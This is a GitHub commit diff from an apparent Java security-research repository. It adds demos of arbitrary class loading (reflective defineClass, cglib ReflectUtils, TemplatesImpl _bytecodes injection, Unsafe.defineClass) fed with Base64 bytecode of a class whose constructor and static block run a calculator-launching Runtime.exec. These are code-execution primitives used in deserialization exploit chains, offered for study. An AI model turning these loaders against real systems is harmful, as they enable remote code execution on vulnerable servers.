Skip to content

Commit b20c7d0

Browse files
WhoopsunixWhoopsunix
committed
add Class load :)
1 parent 97dc133 commit b20c7d0

File tree

12 files changed

+148
-74
lines changed

12 files changed

+148
-74
lines changed

‎README.md

+13-14
Original file line numberDiff line numberDiff line change
@@ -41,11 +41,11 @@ By. Whoopsunix
4141
- [Apache Derby](#apache-derby)
4242
- [Sqlite](#sqlite)
4343
- [0x06 Serialization](#0x06-serialization)
44-
- [BCEL](#bcel)
45-
- [远程类加载](#remotejar)
44+
- [类加载](#class-load)
4645
- [XMLSerialization](#xmlserialization)
4746
- [JavaBean](#jarbean)
4847
- [XStream](#xstream)
48+
- [构造方法利用](#constructorexp)
4949
- [0x07 文件读写 Demo](#0x07-文件读写-demo)
5050
- [鸣谢](#Thanks)
5151

@@ -210,19 +210,14 @@ Version Test
210210

211211
# 0x06 [Serialization](Serialization)
212212

213-
## [BCEL](Serialization/BCELAttack)
213+
## [Class load](Serialization/ClassLoad)
214214

215-
- [x] static 触发
216-
- [x] 构造方法触发
217-
- [x] 方法触发
218-
219-
## [RemoteJar](Serialization/ClassLoad)
220-
221-
- [x] URLClassLoader
222-
- [x] static 触发
223-
- [x] 构造方法触发
224-
- [x] 方法触发
225-
- [x] AppClassLoader
215+
+ AppClassLoader
216+
+ URLCLassLoader
217+
+ BCEL
218+
+ TransletClassLoaderDemo
219+
+ Unsafe
220+
+ ReflectUtils
226221

227222
## [XMLSerialization](Serialization/XMLSerialization)
228223

@@ -236,6 +231,10 @@ Version Test
236231
- [x] BCEL
237232
- [x] RemoteJar
238233

234+
## [ConstructorEXP](Serialization/ConstructorEXP)
235+
236+
Class.forName 场景通过构造方法RCE
237+
239238
### XStream
240239

241240
主要为 CVE 不具体展开，<= 1.4.17 的生成集成在 yso 项目中

‎Serialization/BCELAttack/src/main/java/org/example/Exec.java

-16
This file was deleted.

‎Serialization/BCELAttack/src/main/java/org/example/ExecArg.java

-23
This file was deleted.

‎Serialization/ClassLoad/pom.xml

+5
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,11 @@
1919
<artifactId>Utils</artifactId>
2020
<version>1.0-SNAPSHOT</version>
2121
</dependency>
22+
<dependency>
23+
<groupId>org.springframework</groupId>
24+
<artifactId>spring-core</artifactId>
25+
<version>5.3.18</version>
26+
</dependency>
2227
</dependencies>
2328

2429
<build>

‎Serialization/ClassLoad/src/main/java/org/example/AppClassLoaderDemo.java

+29-11
Original file line numberDiff line numberDiff line change
@@ -9,20 +9,38 @@
99
public class AppClassLoaderDemo {
1010
public static void main(String[] args) throws Exception{
1111
/**
12-
* Base64解密后加载
12+
* defineClass
13+
* Base64解密后加载
1314
*/
14-
// generate
15-
// String b64Str = new B64().encodeJavaClass(Exec.class);
15+
// // generate
16+
//// String b64Str = new B64().encodeJavaClass(Exec.class);
17+
// // open -a Calculator.app
18+
// String b64Str = "yv66vgAAADQAIgoABwAVCgAWABcIABgKABYAGQcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAGwcAGgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwACAAJBwAdDAAeAB8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAgACEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQb3JnL2V4YW1wbGUvRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAABwAEAAkADQALABAACgARAAwADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAgAEgAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAQAAkAEgAMABEADQATAAwAAAACAAAADwAAAAcAAkwHABEAAAEAEwAAAAIAFA==";
19+
//
20+
// byte[] bytes = Base64.getDecoder().decode(b64Str);
21+
//// ClassLoader classLoader = this.getClass().getClassLoader();
22+
//// ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
23+
// ClassLoader classLoader = ClassLoader.getSystemClassLoader();
24+
//
25+
// Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
26+
// defineClassMethod.setAccessible(true);
27+
// Class<?> loadedClass = (Class<?>) defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
28+
// loadedClass.newInstance();
1629

17-
String b64Str = "yv66vgAAADQAIgoABwAVCgAWABcIABgKABYAGQcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAGwcAGgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwACAAJBwAdDAAeAB8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAgACEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQb3JnL2V4YW1wbGUvRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAABwAEAAkADQALABAACgARAAwADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAgAEgAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAQAAkAEgAMABEADQATAAwAAAACAAAADwAAAAcAAkwHABEAAAEAEwAAAAIAFA==";
30+
/**
31+
* Class.forName
32+
*/
33+
// // static
34+
Class cls = Class.forName("org.example.Exec");
35+
// // 构造方法
36+
// cls.newInstance();
1837

19-
byte[] bytes = Base64.getDecoder().decode(b64Str);
20-
// ClassLoader classLoader = this.getClass().getClassLoader();
21-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
38+
/**
39+
* ClassLoader
40+
*/
41+
// static 和 构造方法都不会触发
42+
Class cls1 = ClassLoader.getSystemClassLoader().loadClass("org.example.Exec");
43+
// cls1.newInstance();
2244

23-
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
24-
defineClassMethod.setAccessible(true);
25-
Class<?> loadedClass = (Class<?>) defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
26-
loadedClass.newInstance();
2745
}
2846
}

‎Serialization/BCELAttack/src/main/java/org/example/BCEL.java renamed to ‎Serialization/ClassLoad/src/main/java/org/example/BCEL.java

File renamed without changes.

‎Serialization/ClassLoad/src/main/java/org/example/Exec.java

+2
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,15 @@
66
public class Exec {
77
public Exec() {
88
try {
9+
System.out.println("Exec");
910
Runtime.getRuntime().exec("open -a Calculator.app");
1011
} catch (Exception e) {
1112
}
1213
}
1314

1415
static {
1516
try {
17+
System.out.println("static Exec");
1618
Runtime.getRuntime().exec("open -a Calculator.app");
1719
} catch (Exception e) {
1820
}

‎Serialization/ClassLoad/src/main/java/org/example/ReflectUtilsDemo.java

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package org.example;
2+
3+
import org.tools.encryption.B64;
4+
5+
/**
6+
* @author Whoopsunix
7+
*/
8+
public class ReflectUtilsDemo {
9+
public static void main(String[] args) throws Exception{
10+
// String b64Str = new B64().encodeJavaClass(Exec.class);
11+
String b64Str = "yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY";
12+
defineClass_cglib(b64Str, "org.example.Exec");
13+
}
14+
15+
public static void defineClass_cglib(String calcBase64, String className) throws Exception {
16+
org.springframework.cglib.core.ReflectUtils.defineClass(className,
17+
java.util.Base64.getDecoder().decode(calcBase64)
18+
, ClassLoader.getSystemClassLoader());
19+
}
20+
}

‎Serialization/ClassLoad/src/main/java/org/example/TransletClassLoaderDemo.java

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
package org.example;
2+
3+
import org.tools.ClassFiles;
4+
import org.tools.encryption.B64;
5+
6+
import java.io.Serializable;
7+
import java.lang.reflect.Method;
8+
9+
/**
10+
* @author Whoopsunix
11+
*/
12+
public class TransletClassLoaderDemo {
13+
public static void main(String[] args) throws Exception {
14+
String b64Str = new B64().encodeJavaClass(Exec.class);
15+
defineClass_TemplatesImpl(b64Str);
16+
}
17+
18+
public static class PPP implements Serializable {
19+
20+
private static final long serialVersionUID = 8207363842866235160L;
21+
}
22+
23+
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
24+
public static void defineClass_TemplatesImpl(String calcBase64) throws Exception {
25+
byte[] bytes = java.util.Base64.getDecoder().decode(calcBase64);
26+
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
27+
java.lang.reflect.Field field = templates.getClass().getDeclaredField("_bytecodes");
28+
field.setAccessible(true);
29+
field.set(templates, new byte[][]{bytes, ClassFiles.classAsBytes(PPP.class)});
30+
field = templates.getClass().getDeclaredField("_name");
31+
field.setAccessible(true);
32+
field.set(templates, "anystr");
33+
field = templates.getClass().getDeclaredField("_transletIndex");
34+
field.setAccessible(true);
35+
field.set(templates, 0);
36+
field = templates.getClass().getDeclaredField("_tfactory");
37+
field.setAccessible(true);
38+
field.set(templates, new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
39+
40+
Method method = templates.getClass().getDeclaredMethod("getOutputProperties");
41+
// Method method = templates.getClass().getDeclaredMethod("getTransletInstance");
42+
method.setAccessible(true);
43+
method.invoke(templates, null);
44+
45+
// templates.newTransformer();
46+
}
47+
}

‎Serialization/ClassLoad/src/main/java/org/example/UnsafeDemo.java

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package org.example;
2+
3+
import org.tools.encryption.B64;
4+
5+
import java.lang.reflect.Constructor;
6+
7+
/**
8+
* @author Whoopsunix
9+
*/
10+
public class UnsafeDemo {
11+
public static void main(String[] args) throws Exception {
12+
String b64Str = new B64().encodeJavaClass(Exec.class);
13+
defineClass_unsafe(b64Str, "org.example.Exec");
14+
}
15+
16+
// sun.misc.Unsafe
17+
public static void defineClass_unsafe(String calcBase64, String className) throws Exception {
18+
// sun.misc.Unsafe unsafe = sun.misc.Unsafe.getUnsafe();
19+
Class cls = Class.forName("sun.misc.Unsafe");
20+
Constructor constructor = cls.getDeclaredConstructor();
21+
constructor.setAccessible(true);
22+
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) constructor.newInstance();
23+
24+
byte[] bytes = java.util.Base64.getDecoder().decode(calcBase64);
25+
System.out.println(bytes.length);
26+
Class cls1 = unsafe.defineClass(className, bytes, 0, bytes.length, null, null);
27+
cls1.newInstance();
28+
}
29+
}

‎Serialization/BCELAttack/pom.xml renamed to ‎Serialization/ConstructorEXP/pom.xml

+2-9
Original file line numberDiff line numberDiff line change
@@ -3,23 +3,16 @@
33
<modelVersion>4.0.0</modelVersion>
44

55
<groupId>org.example</groupId>
6-
<artifactId>BCELAttack</artifactId>
6+
<artifactId>ConstructorEXP</artifactId>
77
<version>1.0-SNAPSHOT</version>
88
<packaging>jar</packaging>
99

10-
<name>BCELAttack</name>
11-
<url>http://maven.apache.org</url>
10+
<name>ConstructorEXP</name>
1211

1312
<properties>
1413
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
1514
</properties>
1615

1716
<dependencies>
18-
<dependency>
19-
<groupId>junit</groupId>
20-
<artifactId>junit</artifactId>
21-
<version>3.8.1</version>
22-
<scope>test</scope>
23-
</dependency>
2417
</dependencies>
2518
</project>

‎Serialization/pom.xml

+1-1
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,8 @@
1111

1212
<modules>
1313
<module>ClassLoad</module>
14-
<module>BCELAttack</module>
1514
<module>XMLSerialization</module>
15+
<module>ConstructorEXP</module>
1616
</modules>
1717

1818
<properties>

0 commit comments

Comments
 (0)